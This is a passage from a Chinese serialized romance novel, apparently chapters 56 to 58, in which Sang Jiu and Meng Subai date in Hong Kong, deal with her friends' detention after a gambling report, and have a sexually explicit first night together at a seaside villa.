从酒馆出来,车已经让人开走了。 两人手牵着手,沿着弥敦道,往维多利亚港方向。 “孟苏白,我们是要走路过去吗?” 桑酒虽然有些醉意微醺了,但是她好喜欢这种与他牵着手压马路的感觉,不是那些高端到不切实际的约会场所,就这样平凡简单,才更觉真实。 “嗯。” 孟苏白手里勾着她的黑色包包,眸中满是盈盈笑意。 “孟苏白,你当年是不是一直跟在我身后呀?”桑酒走到他身前,与他面对面,后退着前行。 孟苏白一愣:“怎么知道的?” 桑酒不知道的,她说:“我只是感觉。” 感觉那晚,有人一路陪着她。 现在想想,除了孟苏白,没有别人了。 “我担心你被那几个衰仔报复,”孟苏白放慢了脚步,怕她这样倒退走绊倒,语气也慢悠悠,“不过看你憋了一路,也挺好奇,你什么时候蹲下来大哭一场,这样,我就有理由上前给你送一张纸巾,然后陪你一起。” 桑酒恍然大悟,啊了一声:“孟苏白,你那时候就喜欢上我了吗?” 喝了点酒,她就把心里话问了出来。 孟苏白与她十指相交的手紧了紧,毫不犹豫点头:“对,一见钟情。” “可你跟贺煜说,只是怜悯我。” 果然,她当年听到了他跟贺煜的谈话。 孟苏白停下脚步,同时将她拉入怀,与她四目相对。 “那是我愚笨不开窍说出来的话,我从前也以为,一开始只是心生怜悯才想保护你,可这四年我想了很久,我见过比你还要落魄的女人,可我从没有想过要保护她们,更别说……改变我的人生计划,那是我第一次,把一个女孩归入我的人生计划之中,”他神情温柔与她对视,眼神坚定,“所以,泱泱,我现在要重新申明一遍,我对你,一见钟情。” 在一起后,孟苏白向来不吝甜言蜜语,桑酒都快有点招架不住了。 她只能踮起脚尖,吻在他脸颊。 表达自己的爱意。 回应她的,自然是秋风萧瑟里一个深到不能自已的吻。 这一路太过漫长,当年她腿像灌了铅似的走不到尽头。 如今又觉太过短暂,好像怎么吻都不够。 “孟苏白,我走不动了?” 桑酒也学年轻少女朝他撒娇,等着他甜言蜜语哄着。 孟苏白却抬步走到她跟前,径直蹲下身。 宽厚的背脊充满安全感,无条件朝她敞开。 “上来。” 简单两字,却让桑酒眼底泛起一股酸涩。 已经很久没有人背过她了。 她匍在他肩上,被他带着展翅高飞的一刻,觉得这一生,也好像没有什么遗憾了。 抵达维港时,已是一个小时后的事情了。 今晚灯光璀璨,月色唯美。 维港游人如织,繁华锦绣。 两人又碰到卖花的小姑娘,孟苏白大气全买下来,挑了最好看的一束送给桑酒。 桑酒想起当年那束错过的玫瑰花,虽然已经不是当年那个小女孩,但这一刻,总觉得有些伤痛终于被抚平。 唯一的遗憾,是没有烟花。 维港的烟花,一年一放,十分难得。 桑酒靠在孟苏白怀里,眺望着对岸中环比肩接踵的摩天高楼,五彩斑斓的光芒,如梦似幻。 “就当看过烟花了,”她笑着回头,仰眸看他,“孟苏白,我今天很开心,谢谢你。” “可我想让你更开心。”孟苏白俯首轻轻蹭她的鼻尖,呢喃许诺。 “今年圣诞节,我要亲自在维港,为你放一场独属于你的烟花。” “可那天,不是我生日。”她老实交代,“我们那边习俗,过农历生日,四年前只是碰巧,撞上圣诞节。” 孟苏白愣了一下,低笑过后,从容解释。 “泱泱,想为你放烟花,无需任何理由。” “就跟想见你、想亲你一样。”—— 作者有话说:咳咳,Kings今天的承诺有点多哈,也不知道能不能够顺利实现呢[捂脸偷看][捂脸偷看] 第57章 怀念完过往后, 两人便驱车离开维港,沿着九龙公园径返回,往西区海底隧道开去。 十点过后的尖沙咀, 已经没有多少游人了, 道路空旷, 孟苏白开得游刃有余, 却也没有特意加快速度。 酷炫的跑车在他手里, 温驯得有点过分,却又松弛得令人舒爽。 桑酒不禁犯起困来,今天忙了一天几乎没有停歇过, 但她又不想睡, 回程的路就那么短暂,她想陪着他。 “要不听听歌吧?” “好。”孟苏白让她连上车载蓝牙。 桑酒从歌单中翻出当年在维港听的那首《pas lives》, 忍不住笑。 “我当时耳机里放着的就是这首歌, 然后一回头,就见到了你。” “Don‘ wake me Im no dreaming.” 时过境迁再听这首歌,竟觉得一切都如电影一般奇妙,仿佛冥冥之中, 自有安排。 手机夹在支架上, 两人在充满宿命般的旋律中相视一笑。 忽然,旋律戛然而止。 手机进来一通电话。 来电提示“佑子妈”那几个大字,令桑酒不免有些心虚。 她偷偷瞥了一眼孟苏白, 见他神色无异, 连忙取下手机, 按了接通。 蓝牙还没断开,李佑泽妈妈轻缓的声音透过音响传遍车内。 “桑桑啊,这么晚阿姨打扰你了吧, 实在是佑子电话打不通……” 桑酒连忙切断蓝牙,耳机贴面,头靠到车窗,低声回复。 “阿姨,怎么了?” 她跟长辈们一直都是说家乡遂溪话,软糯中带点小儿女的亲昵。 “没什么,就是我突然有点事情想跟佑子说,但是他电话一直都打不通,担心他出了什么事,你看能不能把电话给他,跟我说两句话?” 李佑泽妈妈的声音听起来有些疲惫焦虑,桑酒不知道是不是她担心所致,连忙安慰她:“阿姨您别担心,佑子跟三禾在一起呢,有什么事三禾会告诉我的,也许他跟朋友喝酒睡着了,没事的,而且我现在人在港城,没跟他在一起。” “这样啊,那我就放心了。” “嗯,阿姨您放宽心啦,自己注意身体,这么晚了该睡觉了。” “好好好,桑桑,那你平常也帮我看顾着他点,管一管他,要他别仗着年轻折腾身体……”老人家一聊起这些事情,就像是开了话匣子,又问,“我前天听他说,你们下个月要回遂溪?是要筹备婚礼了吗?” 桑酒面色一僵,不知该如何解释,只能笑呵呵打太极过去- 等挂了电话,余光一瞥,孟苏白神色一如既往淡定。 也不知道他听懂了几分。 桑酒心里正打怵时,孟苏白忽然开口:“你跟他妈妈很亲。” 说不上什么吃醋,倒更有几分羡慕的味道。 桑酒便也不隐瞒,坦白承认。 “李佑泽跟我舅舅同村的,所以他父母也是看着我长大的,后来……后来关系就更亲一些,”怕他吃醋,桑酒又解释,“主要是他爸爸妈妈人真的很好,舅舅去世那段时间,我不是也生病了吗,他妈妈特意从老家来海城照顾我……” 孟苏白没有打断她的话,也没有流露出不喜的表情,而是静静听着,桑酒便不自觉多说了两句。 “其实,我从前说我跟佑子合适,也不仅仅是因为我跟他青梅竹马的关系,而是我跟他家人也相处这么多年,早已成为家人了,虽然李佑泽这人不怎么靠谱,但我知道,以后我即便不会成为儿媳妇,他妈妈也会把我当女儿看待的。” 听完她的话,孟苏白陷入沉思。 桑酒以为他生气了,又忙说:“我也很喜欢你的家人,Vicoria就很可爱!” 孟苏白温温一笑:“泱泱不用担心,我不会介意什么的,恰恰是他父母对你的态度,说明你是一个真诚善良的女孩,说明……” 他故意卖了下关子。 桑酒果然着了道:“说明什么?” “说明我捡到宝了。” 她是那样美好的的一个人,身边有那么多爱她的人,无论家人还是朋友,都是真心对待她的,因为这些爱,不但治愈了她不幸的童年,也让她变得比所有人都强大,可不知为何,孟苏白却更心疼这样的桑酒,总觉得她将所有的爱都给了身边的人,唯独没有给她自己。 桑酒一本正经:“那孟先生,可要好好珍惜我,我跟你说,要不是之前有李佑泽帮我挡着,想要跟我谈朋友的人,队伍排到法国巴黎了!” “挡?”孟苏白对这个词表示疑惑,“这么说了,我还得感谢他?” 桑酒憋着笑,心里暗道:你确实得感谢他! 孟苏白摇头叹气,打了个方向盘,车子加速拐进隧道。 桑酒看着手机,忽然内心隐隐不安起来。 “不知道阿姨是不是有什么急事,平常她也不会这个点找佑子的。” 孟苏白建议:“那就找她儿子问问。” 桑酒也觉得该如此,但是拨了几通李佑泽跟三禾的电话,都是无人接听的状态。 她又打电话问了桑月,桑月正在酒馆忙着,说今天没见到他们过来,也是一问三不知的状态。 直到此刻,桑酒才开始焦急起来。 “别着急,”孟苏白安慰她,“想想最近谁跟他们走得近,看看能不能联系上。” 桑酒想起了那次吃烧烤的罗满江,李佑泽最近跟他走得最近了,当即从手机里翻出之前留的微信联系方式,拨了语音过去。 对面很快接起。 “喂,桑老板,是找李老板他们的吗?” 罗满江的开门见山,倒是让桑酒的心更是一悬:“他们怎么了?” “一个小时前,被抓进局子了。” “什么?”桑酒直接懵了。 罗满江连忙说:“也不知道是哪个天杀的举报,说牌馆里有人聚众赌博,警察直接找上门,把人都带走了。” 桑酒拧眉:“到底有没有人赌?” 罗满江对天发誓:“真没有,就打个牌而已!” 桑酒这才稍稍松了口气:“我知道了。” 她挂断罗满江的电话后,只思考了两秒,又给宋祁拨了一通电话。 依旧很快被接通,宋祁似乎很诧异,一声“桑老板”还没喊出口,就被桑酒声音打住了。 “三禾她们被带走了,宋先生,能不能请你出面,帮忙看看是什么情况?” 桑酒知道,她现在人不在海城,能出手帮忙的,也只有宋祁。 从前这种事情也发生过一次,也是宋祁把他们捞出来的,有他这把大伞护着,三禾她们倒也一直没怎么样。 如今估计宋祁要结婚了,估计有人早看不惯三禾跟李佑泽挣钱,就开始使绊子来了。 宋祁这人虽然花心,但对跟过他的女人还算不错,又是桑酒亲自开口,自然应下了。 挂了电话,桑酒依旧有些心神不宁,看向孟苏白时的笑容也有些牵强。 “让你见笑了。” 虽然没有赌博没有犯法,但李佑泽他们这样的赚钱之道,始终不是正道,游走于灰色地带,她也觉得不光彩,尤其是在孟苏白这样光风霁月的人眼前,桑酒自己也觉得难以启齿。 “见笑倒不至于。”孟苏白的声音却出奇冷静。 眼看着她三五秒就解决了朋友危机,他却觉得心里落下一块沉重巨石一般难受,虽然知道一同进去的有她闺蜜,她担心在所难免,会拉下面子去找宋祁也很正常,可他内心也十分清楚,如果今晚被抓的只有那个男人,如果那个男人真犯了什么事,她也会为了他,去做这一切。 他不由低声一笑,虽然依旧温柔,却与平时又不太一样,带着一种明显的自嘲,目视前方。 “纯属好奇,你对他的包容底线,到底有多低。” “孟苏白——”桑酒也不知道该如何回答这个问题。 站在旁人角度,她明知李佑泽和自己三观习性极不同,却还是这样无条件纵容着,怎么看都像是顶级恋爱脑犯了,这也是为什么,圈子里的人都说羡慕李佑泽——有一个能赚钱又漂亮、不管自己花天酒地打牌喝酒、又会为自己兜底的女朋友。 事实也确实如此,无论怎样,桑酒确实都没法不去管李佑泽。 这已经无关爱情友情了。 就好像,他真成了自己儿子一般- 车内氛围一时有些低。 桑酒最终抵不住困意,一不小心就睡着了。 深梦中还是李佑泽的回电把她惊醒。 她摸到手机按了接通,听到李佑泽的声音。 “桑桑,我跟三禾出来了。” “哦,人没事吧?” “没事,都是被红眼病搞的,得亏你找了宋先生,不然我俩得蹲几天局子。” “没事就好,”桑酒人还是迷迷糊糊的,不似往日怼他,温柔提醒他:“你赶紧给阿姨打个电话,她很担心你,但我没有说这件事,你别露馅了。” “知道了,你明天什么时候的航班?我去给你接机?” “接机?” 桑酒这才有点清醒过来,想起什么,抬起脑袋看向驾驶位的男人。 孟苏白就那样支着手肘靠在方向盘上,目光深沉望着她,眼底的落寞与审视,与下午她偷偷盯着他和Vicoria时一模一样。 桑酒忽然有些愧疚,她匆匆跟李佑泽说了句不用,挂断电话,再抬眸。 “怎么不叫醒我呢?” “看你睡得香。” 孟苏白依旧声音淡淡,明显情绪非常低落。 桑酒抿唇,想着该怎么哄哄他,偏头往窗外望去时,才发现车子停在一座海边庄园。 之所以知道是在海边,是因为她看到了窗外不远处,深色如晦的大海,在夜空下翻滚奔腾。 “这是哪儿呀……”桑酒以为自己没睡醒,做梦呢,语气也有些兴奋,“哪个度假区吗?” 殊不知看着孟苏白眼里,又是另外一番意思——男朋友完好无损从局子里出来,她心情也跟着好了起来。 孟苏白觉得自己此刻的心情非常糟糕。 但还是十分绅士地下了车,绕到副驾驶位去牵她,动作小心温柔,只嘴巴有点敷衍。 “嗯,你就当是吧。” 当是? 桑酒没听明白,但也没多想,因为她瞬间被眼前的美景所震撼。 凌晨十一点的海边,悬崖,月光,潮水。 更深露重,寒风习习。 她忍不住朝悬崖的方向跑了几步,却冷不丁被迎面扑来的潮湿海风撞了个正着,全身打了个寒战。 下一秒,孟苏白的外套,带着他的体温从身后覆上来。 “风大。”他照旧语气生冷,但手里的活是一点没少干,将她裹得严严实实。 桑酒转身将他一把环住,声音温软:“你也会冷。” “知道我冷,你还让我吹冷风?” 话里话外的意思,都让人啼笑皆非。 面对一个正醋意横飞的男人,桑酒能怎么办呢? 她只能乖乖将脑袋埋在他怀里,像猫咪一样拱着哄着:“那我们回去睡觉吧,明早起来看日出怎么样?” 总觉得站在这个地方看日出,会特别有意思。 “睡觉?”孟苏白双臂下意识将她抱紧,似在试探,“桑老板就不怕我把你卖了?” 桑酒只是愣了两秒,听出了他的话语中的警告,随即踮起脚尖,在他耳边低语。 “那孟先生记得价格抬高一点,我很值钱的。” 说完,又趁势咬在他脖颈,舌尖舔过下午种了一片深红草莓的地方,暗示意味再明白不过。 逆着风,孟苏白却仍觉身体一热,从脖颈蔓延至全身,全线崩溃:“泱泱,别闹……” 他好不容易说服自己再等等,反正已经等了四年,不在乎再多十五天,而且被紧绷到要爆炸的感觉并不好受,孟苏白也无法保证自己会在她的诱惑下,还能如四年前那般君子,不对她突破最后一步。 “也别挑战我的意志力。” 尤其是在这儿。 在他的地盘。 在他被醋意冲昏了头的时候。 她一点点主动,就会令他失了理智。 “你知道我为什么要带你来这儿吗?” 可桑酒却出奇的执着:“我没闹,我也不管你带我去哪儿,我只知道,下午误会你跟Vicoria的时候我就想过了,今晚无论如何,我都要睡了你!” 她的豪言壮语,让孟苏白鲜少地感到慌乱。 从震惊到审视再到隐忍,单手搂在她腰的手臂,也跟着颤抖。 他将她轻轻推开。 因为对自己的定力毫无底气。 “桑酒,我可以当作什么都没听见,现在你转身,回房,云叔会带你去二楼主卧,明日日出时,我会叫醒你,”末了,他又语气淡然加上一句,“一定会。” 桑酒却不愿意离去,她紧紧环住他的腰,将两人间隙收得更紧,仰起脑袋看他,声音羞涩中带着妩媚。 “孟苏白,这些年,我做过很多关于你的梦。” 至于是什么梦,不言而喻。 海岛的夜风味道太过熟悉,就像那年浮屿号潮湿的气息,引着人不断沉沦。 “桑酒,你是说这些年,你跟他在一起,却做着关于我的春。梦?”孟苏白抚着她的脸颊,心跳加快,也是拿她没有办法,“你真残忍,宁愿在梦里找我,也不来港城找我。” 桑酒迟疑了片刻,解释:“我跟他,也就年初的时候才复合的,而且我们……” “你们什么?”孟苏白低头,额头与她重重相抵,眼底欲望与嫉妒交织着,“泱泱,其实我并没有那么大度,不想在我们第一次约会的这个晚上,听你与他的故事,哪怕是提他的名字。” 他嫉妒那个占据了她生命二十年的男人,纵然那个人各方面都极度不堪,根本不配与他成为对手,他就是发了疯的嫉妒。 即便他内心十分清楚,他应该感谢那个人,感谢他们一家曾在她不幸福的童年里,用爱治愈了她。 她是那样重感情的姑娘,当初他不过举手之劳,可她在得知自己身处困境时,哪怕自己身上也没有多少钱,依旧会帮他付了昂贵的费用。 所以,她感激那个男人,错把亲情当爱情,才会无底线纵容对方,就像纵容家人一样。 “泱泱,你从未爱过他,对不对?” 孟苏白一瞬间明白什么,内心竟有些疯狂的喜悦。 他的傻姑娘,究竟什么时候才会发现,她和那个人之间,并不是爱情。 桑酒被孟苏白沉重的气息充斥着,脑子忽然就宕机,准备好的话也一并乱了。 她其实也是在刚才醒悟,原来孟苏白和自己一样,对这份感情充满了强烈的不安全感。 她的不安全感是来自他的身份、他的家人,所以他让亲妹妹去接她,又告诉她他的家族并不在乎门第之别。 而孟苏白的不安全感,是来自她和李佑泽不可分割的情分,包括他的家人。 她应该告诉孟苏白,她跟李佑泽只有友情和亲情,她唯一的爱情只与他有关,她不应该要求他恪守着那些本就虚无的道德束缚,应该义无反顾顺从内心欲。望,就像今晚在停车场,孟苏白给足了她安全感,她也理应回报同样的分量。 “孟苏白,我是真的,很想你。”她试图去勾着他脖子献上深吻。 孟苏白却退了一步:“泱泱,我知道,你和他还未分手,虽然我自己并不在意,但我不愿让你背负道德的背叛,所以,我只给你最后一次机会,你如果还想,就别怪我欺负你……我不会再克制了。” “那就快吻我吧,我的国王先生,”桑酒这次没有任何迟疑,扯着他的领带将人拉回,“我不想我们的第一次约会,留有遗憾。”—— 作者有话说:桑桑又大胆了一次,就看Kings元旦能否吃顿好的吧[爱心眼][爱心眼]- 明年见,宝子们! 提前送你们的[烟花][烟花] 第58章 桑酒是被打横抱着进了那栋别墅的。 整个脸滚烫得可以煮熟虾子, 脑袋埋在孟苏白胸膛间,又被他的外套盖住,仿佛还听到了云叔由远及近的声音。 但她没来得及打招呼, 就被孟苏白抱上了二楼。 房门被撞开, 又被怦然合上。 她甚至来不及看一眼别墅的样貌, 就被他放下, 按在门后, 隐忍许久的吻铺天盖地般落下时,长指拨开她耳后凌乱的发,掌心贴着脸颊落在后颈, 温柔将她后脑护着。 外面是真的很冷, 因为两人的双唇都有柔软的凉意,彼此厮磨了好一会儿才温热起来。 吻够了, 那团火热又落到耳后。 冰冷的水晶镶钻耳坠, 被他吻得不再冰冷才结束,依恋的气息沿着肩颈线拂过,肌肤上的冷意也一点一点被吞噬、暖过,直至指尖都暖和起来, 桑酒包裹在西装下的身体也渐渐沁出一层细密的汗来, 她觉得喉间有些燥。 孟苏白也感受到指腹之下的热度,唇落锁骨,吻丝毫未停, 搂在纤细腰间的手不自觉去解纽扣。 奶白色西装是收腰设计的, 仅用一颗镶着钻的大扣子系着, 勾勒出她凹凸有致的身形,不像礼服那样千娇百媚,是另一种倾国倾城与飒爽干练并存的美, 是不食人间烟火的温婉清冷美,就像雪地里的玫瑰,清冷又倔强地绽放着。 其实早在白天第一次见她穿着走出来,孟苏白脑海里就自动演示了无数次为她折腰的画面—— 沉浸在这片清冷雪地里,亲吻着为他绽放的玫瑰。 孟苏白动作极为耐心,仿佛知道今晚整个她都是属于自己的,所以一切都显得那么游刃有余。 手掌穿过她肩膀,将白色外套轻而易举扯下,仿佛抖落一层厚厚的雪,露出更为凝脂的细腻肌肤,被他粗粝的掌心温暖住。 但这样远远还不够。 桑酒仰着脖颈激烈呼吸,如溺水的鱼儿,急需源泉氧气灌入。 孟苏白又动手去解她衬衫的衣扣,薄薄的丝质衬衫,根本经不起任何拉扯,清脆落地的玉扣声,传在耳里,像是在为今晚的不眠之夜摇旗呐喊。 桑酒闭眼,紧绷了一天的束缚终于解去,随之而来的,是一种酥麻柔缓的释放,她不由轻哼。 前些年,因为心情抑郁桑酒那里长了一颗结节,她不想去动手术,便时常去美容院做胸。部按摩,本以为对这种事已经脱敏没有感觉了,没想到这事还是看人的。 她可以毫无感觉躺在美容床上任小姑娘们搓着,一边听她们夸她大小形状完美漂亮,是男人最爱不释手的那款,一边昏昏欲睡。 却在此刻气息大乱,心跳怦然加速的同时,蜷起了脚趾,双腿更是发软往他怀里倒,整个人的支撑点仿佛就在他微动的掌心、指腹。 原来这种事,由他做起来,是完全不一样的。 她一直很喜欢他的手,有时候光是看着就会陷入迷恋,修长冷白如玉骨,总觉得世间任何事物被他握在手里都是一种赏心悦目,更遑论他的指腹如此爱恋摩挲着。 他的掌心比小姑娘们大很多,沉。甸在手抓着,只缝隙还露出些许;他的力气也比小姑娘们大,得亏那颗结节早已消散,不然桑酒担心迟早要被他捏碎;他的方式也渐渐粗鲁,像是某种封印解开后,一发不可收拾。 桑酒下巴搁在他肩上,睁大了眼睛,望向窗外深沉的夜空。 想起去年回家过年。 她陪瑜瑜和霖霖一起玩黏土厨房游戏,一开始,每个人都会规规矩矩,按照自己的喜好揉成想要的形状,锅碗瓢盆一应俱全,到后来捏实物这一步,小家伙们耐心十足地捏着各式各样的水果蔬菜。 桑酒实在困极了,说要给他们包一顿饺子,抓起一大块黏土,捏进手掌之中,使出蛮荒之力,压出了饺子形状,多余的从指缝间溢出。 她此刻觉得,自己就成了他手心的饺子。 桑酒还记得她做的那盘饺子,被小家伙们开开心心端走下了锅,她吓得急忙叮嘱,不能吃。 孟苏白却在尝过之后,哑着声问她:“BB身上好香,用的什么香水味?” 桑酒收回思绪,却不知道该怎么回答他。 她平常很少用香水。 再者。 谁家好人把香水喷这个地方呀! 她不回答,孟苏白便要惩罚她,齿间一排碾过,压着吮吸。 饺子仿佛破了洞。 汁和馅爆出。 桑酒克制不住溢出声,娇声求饶,才换来一抹温柔。 她冷不丁呼了一口气,像是焦躁的身子得到缓解的舒叹,身子却不由跟着颤抖起来,直到孟苏白的吻回到她唇边,舌尖卷着她的气息。 “BB自己尝尝。” 桑酒面红耳赤争辩:“这不是我的味道……” 绝对不是! 孟苏白轻笑:“嗯,是我和泱泱的味道。” 桑酒感觉血管都要冲爆了,她气得去咬他舌,却反被他缠着吮到发麻、那股令人面红耳赤的味道也渐渐消散。 孟苏白却好像对这味道上瘾了一般,再次低头去衔住。 他咬了许久,直到确认染上味道后,才抬起头与她接吻。 周而复始。 桑酒都不知道该担心哪里不成样了,又想起去宁市之前那晚,她一定也是这样被他反复吸。吮导致的。 可恶,明天要没法出门了! 孟苏白吻着她气鼓鼓的腮帮子,只觉得可爱,贴着她的耳朵,坏笑着吹气:“泱泱,梦里的我,也是这样对你吗?” 桑酒早已没了力气,双手圈着他的脖颈,仰着迷迷糊糊的脑袋回想。 却因为他的作乱,回忆也变得断断续续。 有这样吗? 大概是有的。 只是那种虚无缥缈的悸动,完全比不上此刻真实迷恋。 她能热烈感受到他的呼吸肆意游走的温度,也能被他轻柔的抚。摸斩断一切思绪的情绪,更重要的是,她能切身感受到他的变化,比如此刻衬衫下,因情。动而绷紧的背脊。 “你比梦里坏多了……”桑酒亲去吻他的喉结,勾着笑告诉他,“可是我好喜欢。” 孟苏白扣着她的后脑,吻更深。 “泱泱,你也曾入我的梦。”- 吻到最后,衣服落了一地。 指腹利索解开绞扣,一刹那迷人的香气更是扑鼻而来,如初雪融化的玫瑰绽放,又如一波海浪排山倒海袭来。 桑酒看过关于孟苏白的一些帆船竞赛报道—— 他是一个十分优秀又全能的水手。 惯会在海浪中肆意玩转,身体力行去征服每一个不可能的高度。 就像此刻。 他也在开始一程新的航海。 温热粗粝的虎口卡着,将之推得更高,推出海浪的汹涌和震。荡。 再大再疯狂的海浪在他手下,也骤然变得乖巧甜美,由他圆扁。 吻逐渐激烈,口舌不再温柔。 孟苏白仿佛在与海浪对抗,口舌不再温柔,凶猛得像是要将海浪一并吞入口腔、并入腹中。 风浪堆到最高顶时,他如一叶扁舟迎浪而上,游刃有余纵滑着。 没过这一波的,再没另一波,风浪齐高时,他将自己埋在海浪之下,随其飘摇。 “我也很想念你。” 桑酒被他带着一起在这场风浪中前行,潮起潮落,任海水打湿一身。 风浪跃到最高点时,视野仿佛被蒙了一层水雾,她的世界里看不见任何,唯有他脸颊的温度,鼻梁几乎被压扁嵌入。 那一瞬间,她如遭电击,浑身一麻,身子顷刻间一软,低头咬住他的肩。 整张脸滚而烫,手指掐进她的肌肤。 熟悉而又陌生的感觉从身体深处迸发。 桑酒羞愧着低唔了一声。 她甚至不敢开口,一是因为理智空白根本说不出话来,再一个是——好丢脸。 自己竟然因为他的亲吻而无法控。制。 蓦地想起那天自己的豪言壮语—— 一个吻而已…… 桑酒伏在孟苏白肩上欲哭无泪时,孟苏白从她有些颤抖的腿察觉到了什么。 指腹蹭过去。 他猛然欣喜,咬着她的耳尖低语:“宝宝,你好棒!” 这种夸奖,着实令人羞愧难当。 桑酒也不知道自己为什么会那么快,但她归咎于是他太会了,扑在他怀里小声抱怨。 “都怪你……” 孟苏白手横在她后背,抚着她低语:“怪我——” 他吻着她,哄着她,理智被疯狂代替,忽然不想给她任何停歇的机会。 但门板终究太冷,他舍不得她太久。 两人紧紧相拥吻着朝大床走去。 腿抵到脚抵到床边沿时,孟苏白将她抛了上去。 陷入柔软的床褥,离开他的唇舌,桑酒有一瞬间的不舍与迷恋,像是正渡着氧气的鱼儿,被人扔回了岸上。 她虚弱地睁开眼,昏蒙间,只觉得他脱衬衫的模样也很勾人。 白色衬衫被他揉成一团扔到床尾,他抵膝一步步跪过来,模糊视线逐渐清晰。 上次在车里看得并不是很清晰,虽然早已被他带着一一抚摸过,但直到此时此刻,那对称分明的肌理、完美的宽肩窄腰比,震撼到令她鼻间一热。 孟苏白弯腰俯身靠近时,桑酒一把捂住鼻。 好吧,她承认自己有些好。色。 抵不住春。心荡。漾。 高弹的床垫因孟苏白的到来而晃动,桑酒感觉自己就像漂浮在海面,迎面而来的,是一堵坚硬结实的山墙。 她的手被牵起,食指指腹一笔一笔描绘着山墙上的地图路线,蜿蜒曲折来到迷宫入口。 “泱泱……想要吗?” 孟苏白再次化身男狐狸,按着她的手紧紧贴了上去,桑酒觉得自己要被逼疯了。 她学他,张口咬了上去。 但这堵墙太坚硬了,不似他那样可以塞得满口都是香甜,温热的唇如春雨落下,最终也只是留下一点湿意水印,乍一看,毫无波澜。 桑酒不满仰头,骤然对上孟苏白蓄意翻涌的深邃眼眸。 孟苏白笑了一下,低头嗅在她颈间,沉哑地说:“泱泱,你的印记,留在这儿。” 迷宫入口。 这里参天大树直耸入云。 掌心覆上的一刹那,桑酒直接颤着出声。 “啊——” 她捂着眼,感觉自己全身的在燃烧。 那种从掌心蔓延,直奔手腕,抵着她的脉搏,共同跳动的实质感,实在要命。 桑酒甚至在想,这个……会不会太夸张了? 惊慌失措中,她手无意识抓紧,为不可知的画面而乱神,却将孟苏白抓得心脏发紧,眼前像是闪过一阵眩晕。 他深吸了一口气稳住。 “BB……还会害怕吗?” 桑酒被问得心跳加速得要承受不过来,气息也乱了,她感觉自己要被吓哭了:“孟苏白……我不要……” 她的青涩恐惧与第一次如出一辙。 孟苏白笑了一下,定力十足搂着她入怀,一声声叫她宝贝、BB、Schazi……紧紧拥着她,给她全部力量消除恐惧。 桑酒沦陷在他宽厚的胸膛,贴着他跳动异常的心口,浑身无力如八爪鱼粘着他,声音带着哭腔:“我会死的!” “不会,相信我,BB。” 她想抽回手,却被他果断按着,吻着她哭泣的唇低语。 “BB,很久不见,它也很想你。” 桑酒后知后觉。 它的想,大概与她的想不一样- 那是比指更加充盈的。 也更加令人头皮发麻。 不记得是什么时候,大概是刚从荷兰回来那次。 桑酒大病初愈,从鬼门关回来一趟,骤然发觉自己依旧对一年前的那个男人念念不忘,她惆怅抑郁睡不好觉,有种重回当年抑郁的症状,甚至因为失眠导致内分泌失调,脸上爆了几颗痘。 俞三禾实在看不下去了,带着她去了夜。店,美其名曰要带她阴。阳调。和一下。 满是身材性感的肌肉男,在眼前又唱又跳。 俞三禾的嘶喊声甚至盖过了震耳欲聋的背景音乐。 桑酒却全程无感,无力看着。 她满脑子都是那个男人。 什么美色都灌不进去,什么美味都觉食之无味。 用俞三禾的话来说,她就和一个木头美人一样杵在那儿,无欲无求。 但其实,怎会无欲无求。 她在梦里想他想得很紧。 就好比此刻,她的表情可丰富多彩了。 既害怕又期待。 既恐惧又欢喜。 当然,期待多于害怕,欢喜大于恐惧。 她甚至不知道是出于死要面子还是什么动机,临到最后一步都不愿开口说一句。 孟苏白,你温柔一点。 也许,痛一点更好。 桑酒有些变态地想。 痛一点,就会知道,这不再是一场随时会醒的梦。 她抓着床单,将之拧成一团,心里还是有些打鼓的。 孟苏白察觉到她的不安。另一只手覆上来,犹如宁市那晚,支开她的掌心,与她十指交握,继而牵起她的手,贴在心口。 那坚硬山墙之下,是源源不断跳动的源泉,是他平静中爆发力的核心。 “我知道在这个时候说爱你很多余,”孟苏白面色依旧沉稳不变,只是盯着桑酒一瞬不错的眼眸汹涌得骇人,“那就让我的心跳来告诉你,泱泱,自从我们相遇,你是我的白昼,夜晚的星辰,战栗中我全部的青春[1],这四年,我无时无刻不想念着你,想念你的笑、想念你的哭、想念你的吻、想念你的全部,此刻这颗心脏在为你神魂颠倒,为你心旌摇曳,联合国的就职宣言都没有让它这样失态过,这世间,唯有你能让它如此跳动,只因我……” 他顿了顿,低下头虔诚吻上她的唇,似乎在感谢上苍,能让他与她再相逢。 “——爱你。” 两个世间最温柔的字,仿佛被拆开揉碎喂入她的口舌。 桑酒闭上眼迎着他的热吻,失神中,猝不及防皱了一下眉,紧咬的唇也被一口气突破。 “孟苏白——” 她几乎是哭出声,咬着唇、蜷着身子忍受着。 纵使徐徐,她依旧忍得额头沁出一层薄汗。 卡得孟苏白也是眉头一紧,猛然吸了一口气。 “泱泱……”他几乎是不敢置信般僵住,动作骤然一停,靠在她耳边沉喘着,“你……” 桑酒捂着脸,觉得好丢人。 又疼又丢人。 孟苏白克制着亲吻她额头。 “为什么……泱泱……” 他看不懂她。 他曾疯狂嫉妒过那个人拥有过她的美好,从十八岁到二十四岁,女孩最美好的年华都属于那个人,虽然曾经他也有幸目睹过她的美好,却生生错过,他想过她会不会在夜深人静时想起他,会在与别人一起恩爱时对比他,却唯独没料想过…… “泱泱……” 多么荒唐,又多么欣慰…… 孟苏白低头亲她出汗的额头,满眼心疼和懊悔。 她仿佛一枚还未成熟的青果,被雨水拍打冲洗后,被他强行摘下吞入腹。 青果的生涩酸甜,果肉紧致激发了他的味蕾。 他才猛然醒悟。 今夜也是她人生第一次。 孟苏白脑海里尽是她微张的瞳孔与红唇,硬生生承受着,哪怕是薄如蝉翼一层,却也是钻心地疼。 很长一段时间,孟苏白都在自责。 自责自己第一次做得不够好,不够体贴,他应该亲吻更久一点,应该与她说更多甜蜜爱她的话,才不至于痛那样强烈。 这种矛盾的自责与欲在脑海交织着,汹涌几乎是一瞬油然而生。 那场由风浪掀起的骤雨倏然落下。 “孟苏白……” 桑酒瞳孔里的眸光如泉水突然被切断,不再流动,片刻之后,代替的是一股温热猛然流淌在她腰腹。 孟苏白早在她毫无防备时,果断退场。 海面逐渐平息,帆船安静沉于夜幕。 很快,空气中弥漫着浓烈。 她很多年前闻过这种味道。 在手心,久久未曾散去。 “怎么……这么……”桑酒睁着圆眸,微喘着气,似有不满。 孟苏白捂住她的嘴,不允许她说出那个字。 快么? 其实已经过去二十分钟了。 已经是正常的水平了。 只是他太过激动太过敏感,又临时忽然想起,自己似乎忘了准备什么,才不得已结束。 “抱歉……”他吻着她的唇瓣,盯着她迷蒙未曾满足的眼眸,向她道歉。 